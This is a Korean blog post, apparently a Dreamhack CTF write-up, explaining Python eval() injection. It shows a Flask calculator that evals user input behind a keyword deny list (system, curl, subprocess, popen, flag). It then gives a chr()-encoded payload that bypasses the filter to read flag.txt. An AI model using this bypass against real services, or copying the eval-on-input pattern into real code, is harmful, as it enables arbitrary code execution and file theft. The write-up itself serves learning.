오늘 글을 좀 많이 쓰는데 마지막 글로 eval() 취약점에 대한 글을 쓰려고 한다.
파이썬에선 Eval함수가 존재하는데, 이 함수는 안에 문자열(string)을 그대로 파이썬 내에서 실행 시켜주는 아주 편리하면서 위험한 함수이다.
아래와 같이 string을 자동으로 연산해주거나 코드로 변환해서 결과 값을 리턴 해준다.
eval('print(123)') #123 eval('1+1') #2
오늘 이 취약점을 실습해 볼 예제는 어김없이 드림핵 문제 Addition calculator이다.
코드는 필터링 하는 부분하고 Eval() 부분만 유의해서 보면 된다.
def filter(formula): w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits) w_list.extend([" ", ".", "(", ")", "+"]) if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I): return True for c in formula: if c not in w_list: return True @app.route("/", methods=["GET", "POST"]) def index(): if request.method == "GET": return render_template("index.html") else: formula = request.form.get("formula", "") if formula != "": if filter(formula): return render_template("index.html", result="Filtered") else: try: formula = eval(formula) return render_template("index.html", result=formula) except subprocess.CalledProcessError: return render_template("index.html", result="Error") except: return render_template("index.html", result="Error") else: return render_template("index.html", result="Enter the value")
코드를 보면, [공백, . , ( , ) ,+ ]와 영문 대소문자, 숫자를 w_list로 허용하고 있다.
그리고 system, curl 등을 필터링으로 제한하고 있다. 우리는 같은 디렉터리에 위치한 flag.txt 파일을 읽어야하는데 flag라는 단어를 제한하고 있기에 매우 제한적일 수 밖에없다..
하지만 영문과 ()를 허용하므로, 파이썬의 chr()을 이용해서 숫자를 아스키 코드로 변환하여 eval() 함수에 넣어준다면 원하는 코드를 실행시키는 취약점이 있다.
내가 formula에 입력하고자 하는 문자는
open(./flag.txt).read()이다.
open(chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()